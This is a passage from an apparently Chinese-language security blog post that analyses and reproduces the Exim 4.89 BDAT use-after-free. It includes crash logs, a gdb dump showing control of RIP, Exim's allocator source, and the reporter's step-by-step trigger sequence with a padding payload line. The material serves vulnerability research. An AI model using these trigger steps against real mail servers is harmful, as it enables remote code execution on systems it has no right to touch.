class="pln"> normal </span><span class="kwd">exit</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0</span></code></li><li class="L6"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SMTP accept processes now running</span></code></li><li class="L7"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li></ol> |
又仔细读了一遍meh在Bugzilla上的描述,看到这句,所以猜测有没有可能是因为padding大小的原因,才导致crash失败的?所以写了代码对padding进行爆破,长度从0-0x4000,爆破了一遍,并没有发现能成功造成crash的长度。
This PoC is affected by the block layout(yield_length), so this line:
r.sendline('a'*0x1250+'\x7f')
should be adjusted according to the program state.
所以可以排除是因为padding长度的原因导致PoC测试失败。
而且在漏洞描述页,我还发现Exim的作者也尝试对漏洞进行测试,不过同样测试失败了,还贴出了他的debug信息,和他的debug信息进行对比,和我的信息几乎一样。(并不知道exim的作者在得到meh的Makefile和log后有没有测试成功)。
所以,本来一次简单的漏洞应急,变为了对该漏洞的深入研究
浅入研究
UAF全称是use after free,所以我在free之前,patch了一个printf:
1 |
<ol class="linenums"><li class="L0"><code><span class="com"># src/store.c</span></code></li><li class="L1"><code><span class="pun">......</span></code></li><li class="L2"><code><span class="lit">448</span><span class="pln"> </span><span class="kwd">void</span></code></li><li class="L3"><code><span class="lit">449</span><span class="pln"> store_release_3</span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span><span class="pln">block</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">const</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*</span><span class="pln">filename</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> linenumber</span><span class="pun">)</span></code></li><li class="L4"><code><span class="lit">450</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pun">......</span></code></li><li class="L6"><code><span class="lit">481</span><span class="pln"> printf</span><span class="pun">(</span><span class="str">"--------free: %8p-------\n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)</span><span class="pln">bb</span><span class="pun">);</span></code></li><li class="L7"><code><span class="lit">482</span><span class="pln"> free</span><span class="pun">(</span><span class="pln">bb</span><span class="pun">);</span></code></li><li class="L8"><code><span class="lit">483</span><span class="pln"> </span><span class="kwd">return</span><span class="pun">;</span></code></li><li class="L9"><code><span class="lit">484</span><span class="pln"> </span><span class="pun">}</span></code></li></ol> |
重新编译跑一遍,发现竟然成功触发了uaf漏洞:
1 |
<ol class="linenums"><li class="L0"><code><span class="pln">$ </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">dd</span></code></li><li class="L1"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li><li class="L2"><code><span class="pln"> </span><span class="lit">8336</span><span class="pln"> </span><span class="typ">Process</span><span class="pln"> </span><span class="lit">8336</span><span class="pln"> </span><span class="kwd">is</span><span class="pln"> handling incoming connection </span><span class="kwd">from</span><span class="pln"> </span><span class="pun">[</span><span class="lit">10.0</span><span class="pun">.</span><span class="lit">6.18</span><span class="pun">]</span></code></li><li class="L3"><code><span class="pun">--------</span><span class="pln">free</span><span class="pun">:</span><span class="pln"> </span><span class="lit">0x1e2c1b0</span><span class="pun">-------</span></code></li><li class="L4"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> child </span><span class="lit">8336</span><span class="pln"> ended</span><span class="pun">:</span><span class="pln"> status</span><span class="pun">=</span><span class="lit">0x8b</span></code></li><li class="L5"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> signal </span><span class="kwd">exit</span><span class="pun">,</span><span class="pln"> signal </span><span class="lit">11</span><span class="pln"> </span><span class="pun">(</span><span class="pln">core dumped</span><span class="pun">)</span></code></li><li class="L6"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SMTP accept processes now running</span></code></li><li class="L7"><code><span class="pln"> </span><span class="lit">8334</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li></ol> |
然后gdb调试的信息也证明成功利用uaf漏洞造成了crash:
1 |
<ol class="linenums"><li class="L0"><code><span class="pun">*</span><span class="pln">RAX </span><span class="lit">0xdeadbeef</span></code></li><li class="L1"><code><span class="pun">*</span><span class="pln">RBX </span><span class="lit">0x1e2e5d0</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L2"><code><span class="pun">*</span><span class="pln">RCX </span><span class="lit">0x1e29341</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0xadbeef000000000a</span><span class="pln"> </span><span class="com">/* '\n' */</span></code></li><li class="L3"><code><span class="pun">*</span><span class="pln">RDX </span><span class="lit">0x7df</span></code></li><li class="L4"><code><span class="pun">*</span><span class="pln">RDI </span><span class="lit">0x1e2e5d0</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L5"><code><span class="pun">*</span><span class="pln">RSI </span><span class="lit">0x46cedd</span><span class="pln"> </span><span class="pun">(</span><span class="pln">store_free_3</span><span class="pun">+</span><span class="lit">70</span><span class="pun">)</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> pop rbx</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">R8 </span><span class="lit">0x0</span></code></li><li class="L7"><code><span class="pln"> R9 </span><span class="lit">0x7f054f32b700</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x7f054f32b700</span></code></li><li class="L8"><code><span class="pun">*</span><span class="pln">R10 </span><span class="lit">0xffff80fab41c4748</span></code></li><li class="L9"><code><span class="pun">*</span><span class="pln">R11 </span><span class="lit">0x203</span></code></li><li class="L0"><code><span class="pun">*</span><span class="pln">R12 </span><span class="lit">0x7f054dc69993</span><span class="pln"> </span><span class="pun">(</span><span class="pln">state</span><span class="pun">+</span><span class="lit">3</span><span class="pun">)</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L1"><code><span class="pun">*</span><span class="pln">R13 </span><span class="lit">0x4ad5b6</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> jb </span><span class="lit">0x4ad61d</span><span class="pln"> </span><span class="com">/* 'receive.c' */</span></code></li><li class="L2"><code><span class="pun">*</span><span class="pln">R14 </span><span class="lit">0x7df</span></code></li><li class="L3"><code><span class="pun">*</span><span class="pln">R15 </span><span class="lit">0x1e1d8f0</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L4"><code><span class="pun">*</span><span class="pln">RBP </span><span class="lit">0x0</span></code></li><li class="L5"><code><span class="pun">*</span><span class="pln">RSP </span><span class="lit">0x7ffe169262b8</span><span class="pln"> </span><span class="pun">—▸</span><span class="pln"> </span><span class="lit">0x7f054d9275e7</span><span class="pln"> </span><span class="pun">(</span><span class="pln">free</span><span class="pun">+</span><span class="lit">247</span><span class="pun">)</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> add rsp</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0x28</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">RIP </span><span class="lit">0xdeadbeef</span></code></li><li class="L7"><code><span class="pun">------------------------------------------</span></code></li><li class="L8"><code><span class="typ">Invalid</span><span class="pln"> address </span><span class="lit">0xdeadbeef</span></code></li></ol> |
PS: 这里说明下./build-Linux-x86_64/exim
这个binary是没有patch printf的代码,/usr/exim/bin/exim
是patch了printf的binary
到这里就很奇怪了,加了个printf就能成功触发漏洞,删了就不能,之后用puts
和write
代替了printf
进行测试,发现puts
也能成功触发漏洞,但是write
不能。大概能猜到应该是stdio的缓冲区机制的问题,然后继续深入研究。
深入研究
来看看meh在Bugzilla上对于该漏洞的所有描述:
1 |
<ol class="linenums"><li class="L0"><code><span class="typ">Hi</span><span class="pun">,</span><span class="pln"> we found a </span><span class="kwd">use</span><span class="pun">-</span><span class="pln">after</span><span class="pun">-</span><span class="pln">free vulnerability which </span><span class="kwd">is</span><span class="pln"> exploitable to RCE </span><span class="kwd">in</span><span class="pln"> the SMTP server</span><span class="pun">.</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="typ">According</span><span class="pln"> to receive</span><span class="pun">.</span><span class="pln">c</span><span class="pun">:</span><span class="lit">1783</span><span class="pun">,</span><span class="pln"> </span></code></li><li class="L3"><code><span class="lit">1783</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">store_extend</span><span class="pun">(</span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> oldsize</span><span class="pun">,</span><span class="pln"> header_size</span><span class="pun">))</span></code></li><li class="L4"><code><span class="lit">1784</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="lit">1785</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">newtext </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">header_size</span><span class="pun">);</span></code></li><li class="L6"><code><span class="lit">1786</span><span class="pln"> memcpy</span><span class="pun">(</span><span class="pln">newtext</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> ptr</span><span class="pun">);</span></code></li><li class="L7"><code><span class="lit">1787</span><span class="pln"> store_release</span><span class="pun">(</span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">);</span></code></li><li class="L8"><code><span class="lit">1788</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text </span><span class="pun">=</span><span class="pln"> newtext</span><span class="pun">;</span></code></li><li class="L9"><code><span class="lit">1789</span><span class="pln"> </span><span class="pun">}</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="kwd">when</span><span class="pln"> the buffer used to parse header </span><span class="kwd">is</span><span class="pln"> </span><span class="kwd">not</span><span class="pln"> big enough</span><span class="pun">,</span><span class="pln"> exim tries to extend the </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text </span><span class="kwd">with</span><span class="pln"> store_extend </span><span class="kwd">function</span><span class="pun">.</span><span class="pln"> </span><span class="typ">If</span><span class="pln"> there </span><span class="kwd">is</span><span class="pln"> any other allocation between the allocation </span><span class="kwd">and</span><span class="pln"> extension of </span><span class="kwd">this</span><span class="pln"> buffer</span><span class="pun">,</span><span class="pln"> store_extend fails</span><span class="pun">.</span></code></li><li class="L2"><code><span class="pln">store</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L3"><code><span class="lit">276</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*)</span><span class="pln">ptr </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">!=</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*)(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span><span class="pln"> </span><span class="pun">||</span></code></li><li class="L4"><code><span class="lit">277</span><span class="pln"> inc yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">-</span><span class="pln"> oldsize</span><span class="pun">)</span></code></li><li class="L5"><code><span class="lit">278</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> FALSE</span><span class="pun">;</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="typ">Then</span><span class="pln"> exim calls store_get</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">and</span><span class="pln"> store_get cut the current_block directly</span><span class="pun">.</span></code></li><li class="L8"><code><span class="pln">store</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L9"><code><span class="lit">208</span><span class="pln"> next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)((</span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*)</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> size</span><span class="pun">);</span></code></li><li class="L0"><code><span class="lit">209</span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">-=</span><span class="pln"> size</span><span class="pun">;</span></code></li><li class="L1"><code><span class="lit">210</span></code></li><li class="L2"><code><span class="lit">211</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="typ">However</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">in</span><span class="pln"> receive</span><span class="pun">.</span><span class="pln">c</span><span class="pun">:</span><span class="lit">1787</span><span class="pun">,</span><span class="pln"> store_release frees the whole block</span><span class="pun">,</span><span class="pln"> leaving the </span><span class="kwd">new</span><span class="pln"> pointer points to a freed location</span><span class="pun">.</span><span class="pln"> </span><span class="typ">Any</span><span class="pln"> further usage of </span><span class="kwd">this</span><span class="pln"> buffer leads to a </span><span class="kwd">use</span><span class="pun">-</span><span class="pln">after</span><span class="pun">-</span><span class="pln">free vulnerability</span><span class="pun">.</span></code></li><li class="L5"><code><span class="typ">To</span><span class="pln"> trigger </span><span class="kwd">this</span><span class="pln"> bug</span><span class="pun">,</span><span class="pln"> BDAT command </span><span class="kwd">is</span><span class="pln"> necessary to perform an allocation </span><span class="kwd">by</span><span class="pln"> raising an error</span><span class="pun">.</span><span class="pln"> </span><span class="typ">Through</span><span class="pln"> </span><span class="kwd">our</span><span class="pln"> research</span><span class="pun">,</span><span class="pln"> we confirm that </span><span class="kwd">this</span><span class="pln"> vulnerability can be exploited to remote code execution </span><span class="kwd">if</span><span class="pln"> the binary </span><span class="kwd">is</span><span class="pln"> </span><span class="kwd">not</span><span class="pln"> compiled </span><span class="kwd">with</span><span class="pln"> PIE</span><span class="pun">.</span></code></li><li class="L6"><code><span class="typ">An</span><span class="pln"> RIP controlling </span><span class="typ">PoC</span><span class="pln"> </span><span class="kwd">is</span><span class="pln"> </span><span class="kwd">in</span><span class="pln"> attachment poc</span><span class="pun">.</span><span class="pln">py</span><span class="pun">.</span><span class="pln"> </span><span class="typ">The</span><span class="pln"> following </span><span class="kwd">is</span><span class="pln"> the gdb result of </span><span class="kwd">this</span><span class="pln"> </span><span class="typ">PoC</span><span class="pun">:</span></code></li><li class="L7"><code><span class="typ">Program</span><span class="pln"> received signal SIGSEGV</span><span class="pun">,</span><span class="pln"> </span><span class="typ">Segmentation</span><span class="pln"> fault</span><span class="pun">.</span></code></li><li class="L8"><code><span class="lit">0x00000000deadbeef</span><span class="pln"> </span><span class="kwd">in</span><span class="pln"> </span><span class="pun">??</span><span class="pln"> </span><span class="pun">()</span></code></li><li class="L9"><code><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">-------------------------------------------------------------</span></code></li><li class="L1"><code><span class="typ">In</span><span class="pln"> receive</span><span class="pun">.</span><span class="pln">c</span><span class="pun">,</span><span class="pln"> exim used receive_getc to </span><span class="kwd">get</span><span class="pln"> message</span><span class="pun">.</span></code></li><li class="L2"><code><span class="lit">1831</span><span class="pln"> ch </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">receive_getc</span><span class="pun">)(</span><span class="pln">GETC_BUFFER_UNLIMITED</span><span class="pun">);</span></code></li><li class="L3"><code><span class="typ">When</span><span class="pln"> exim </span><span class="kwd">is</span><span class="pln"> handling BDAT command</span><span class="pun">,</span><span class="pln"> receive_getc </span><span class="kwd">is</span><span class="pln"> bdat_getc</span><span class="pun">.</span></code></li><li class="L4"><code><span class="typ">In</span><span class="pln"> bdat_getc</span><span class="pun">,</span><span class="pln"> after the length of BDAT </span><span class="kwd">is</span><span class="pln"> reached</span><span class="pun">,</span><span class="pln"> bdat_getc tries to read the </span><span class="kwd">next</span><span class="pln"> command</span><span class="pun">.</span></code></li><li class="L5"><code><span class="pln">smtp_in</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L6"><code><span class="pln"> </span><span class="lit">536</span><span class="pln"> next_cmd</span><span class="pun">:</span></code></li><li class="L7"><code><span class="pln"> </span><span class="lit">537</span><span class="pln"> </span><span class="kwd">switch</span><span class="pun">(</span><span class="pln">smtp_read_command</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pun">))</span></code></li><li class="L8"><code><span class="pln"> </span><span class="lit">538</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> </span><span class="lit">539</span><span class="pln"> </span><span class="kwd">default</span><span class="pun">:</span></code></li><li class="L0"><code><span class="pln"> </span><span class="lit">540</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">503</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L1"><code><span class="pln"> </span><span class="lit">541</span><span class="pln"> US</span><span class="str">"only BDAT permissible after non-LAST BDAT"</span><span class="pun">);</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln">synprot_error may call store_get </span><span class="kwd">if</span><span class="pln"> any non</span><span class="pun">-</span><span class="pln">printable character exists because synprot_error uses string_printing</span><span class="pun">.</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="kwd">string</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L6"><code><span class="pln"> </span><span class="lit">304</span><span class="pln"> </span><span class="com">/* Get a new block of store guaranteed big enough to hold the</span></code></li><li class="L7"><code><span class="com"> 305 expanded string. */</span></code></li><li class="L8"><code><span class="pln"> </span><span class="lit">306</span></code></li><li class="L9"><code><span class="pln"> </span><span class="lit">307</span><span class="pln"> ss </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">length </span><span class="pun">+</span><span class="pln"> nonprintcount </span><span class="pun">*</span><span class="pln"> </span><span class="lit">3</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">1</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">------------------------------------------------------------------</span></code></li><li class="L1"><code><span class="pln">receive_getc becomes bdat_getc </span><span class="kwd">when</span><span class="pln"> handling BDAT data</span><span class="pun">.</span></code></li><li class="L2"><code><span class="typ">Oh</span><span class="pun">,</span><span class="pln"> I was talking about the source code of </span><span class="lit">4.89</span><span class="pun">.</span><span class="pln"> </span><span class="typ">In</span><span class="pln"> the current master</span><span class="pun">,</span><span class="pln"> it </span><span class="kwd">is</span><span class="pln"> here</span><span class="pun">:</span></code></li><li class="L3"><code><span class="pln">https</span><span class="pun">:</span><span class="com">//github.com/Exim/exim/blob/master/src/src/receive.c#L1790</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="typ">What</span><span class="pln"> </span><span class="kwd">this</span><span class="pln"> </span><span class="typ">PoC</span><span class="pln"> does </span><span class="kwd">is</span><span class="pun">:</span></code></li><li class="L6"><code><span class="lit">1.</span><span class="pln"> send unrecognized command to adjust yield_length </span><span class="kwd">and</span><span class="pln"> make it less than </span><span class="lit">0x100</span></code></li><li class="L7"><code><span class="lit">2.</span><span class="pln"> send BDAT </span><span class="lit">1</span></code></li><li class="L8"><code><span class="lit">3.</span><span class="pln"> send one character to reach the length of BDAT</span></code></li><li class="L9"><code><span class="lit">3.</span><span class="pln"> send an BDAT command without size </span><span class="kwd">and</span><span class="pln"> </span><span class="kwd">with</span><span class="pln"> non</span><span class="pun">-</span><span class="pln">printable character </span><span class="pun">-</span><span class="pln">trigger synprot_error </span><span class="kwd">and</span><span class="pln"> therefore call store_get</span></code></li><li class="L0"><code><span class="com">// back to receive_msg and exim keeps trying to read header</span></code></li><li class="L1"><code><span class="lit">4.</span><span class="pln"> send a huge message </span><span class="kwd">until</span><span class="pln"> store_extend called</span></code></li><li class="L2"><code><span class="lit">5.</span><span class="pln"> uaf</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="typ">This</span><span class="pln"> </span><span class="typ">PoC</span><span class="pln"> </span><span class="kwd">is</span><span class="pln"> affected </span><span class="kwd">by</span><span class="pln"> the block layout</span><span class="pun">(</span><span class="pln">yield_length</span><span class="pun">),</span><span class="pln"> so </span><span class="kwd">this</span><span class="pln"> line</span><span class="pun">:</span><span class="pln"> </span><span class="str">`r.sendline('a'*0x1250+'\x7f')`</span><span class="pln"> should be adjusted according to the program state</span><span class="pun">.</span><span class="pln"> I tested on </span><span class="kwd">my</span><span class="pln"> ubuntu </span><span class="lit">16.04</span><span class="pun">,</span><span class="pln"> compiled </span><span class="kwd">with</span><span class="pln"> the attached </span><span class="typ">Local</span><span class="pun">/</span><span class="typ">Makefile</span><span class="pln"> </span><span class="pun">(</span><span class="pln">simply make </span><span class="pun">-</span><span class="pln">j8</span><span class="pun">).</span><span class="pln"> I also attach the updated </span><span class="typ">PoC</span><span class="pln"> </span><span class="kwd">for</span><span class="pln"> current master </span><span class="kwd">and</span><span class="pln"> the debug report</span><span class="pun">.</span></code></li></ol> |
在这里先提一下,在Exim中,自己封装实现了一套简单的堆管理,在src/store.c中
1 |
<ol class="linenums"><li class="L0"><code><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span></code></li><li class="L1"><code><span class="pln">store_get_3</span><span class="pun">(</span><span class="kwd">int</span><span class="pln"> size</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">const</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*</span><span class="pln">filename</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> linenumber</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="com">/* Round up the size to a multiple of the alignment. Although this looks a</span></code></li><li class="L4"><code><span class="com">messy statement, because "alignment" is a constant expression, the compiler can</span></code></li><li class="L5"><code><span class="com">do a reasonable job of optimizing, especially if the value of "alignment" is a</span></code></li><li class="L6"><code><span class="com">power of two. I checked this with -O2, and gcc did very well, compiling it to 4</span></code></li><li class="L7"><code><span class="com">instructions on a Sparc (alignment = 8). */</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun">%</span><span class="pln"> alignment </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> size </span><span class="pun">+=</span><span class="pln"> alignment </span><span class="pun">-</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun">%</span><span class="pln"> alignment</span><span class="pun">);</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="com">/* If there isn't room in the current block, get a new one. The minimum</span></code></li><li class="L2"><code><span class="com">size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since</span></code></li><li class="L3"><code><span class="com">these functions are mostly called for small amounts of store. */</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun">></span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun"><=</span><span class="pln"> STORE_BLOCK_SIZE</span><span class="pun">)?</span><span class="pln"> STORE_BLOCK_SIZE </span><span class="pun">:</span><span class="pln"> size</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> mlength </span><span class="pun">=</span><span class="pln"> length </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> storeblock </span><span class="pun">*</span><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> </span><span class="com">/* Sometimes store_reset() may leave a block for us; check if we can use it */</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newblock </span><span class="pun">=</span><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newblock </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">)</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">&&</span><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length </span><span class="pun"><</span><span class="pln"> length</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> </span><span class="com">/* Give up on this block, because it's too small */</span></code></li><li class="L9"><code><span class="pln"> store_free</span><span class="pun">(</span><span class="pln">newblock</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln"> </span><span class="com">/* If there was no free block, get a new one */</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">newblock</span><span class="pun">)</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> pool_malloc </span><span class="pun">+=</span><span class="pln"> mlength</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* Used in pools */</span></code></li><li class="L8"><code><span class="pln"> nonpool_malloc </span><span class="pun">-=</span><span class="pln"> mlength</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* Exclude from overall total */</span></code></li><li class="L9"><code><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> store_malloc</span><span class="pun">(</span><span class="pln">mlength</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> newblock</span><span class="pun">-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length </span><span class="pun">=</span><span class="pln"> length</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L3"><code><span class="pln"> chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L5"><code><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)(</span><span class="pln">CS current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> VALGRIND_MAKE_MEM_NOACCESS</span><span class="pun">(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">],</span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]);</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="com">/* There's (now) enough room in the current block; the yield is the next</span></code></li><li class="L6"><code><span class="com">pointer. 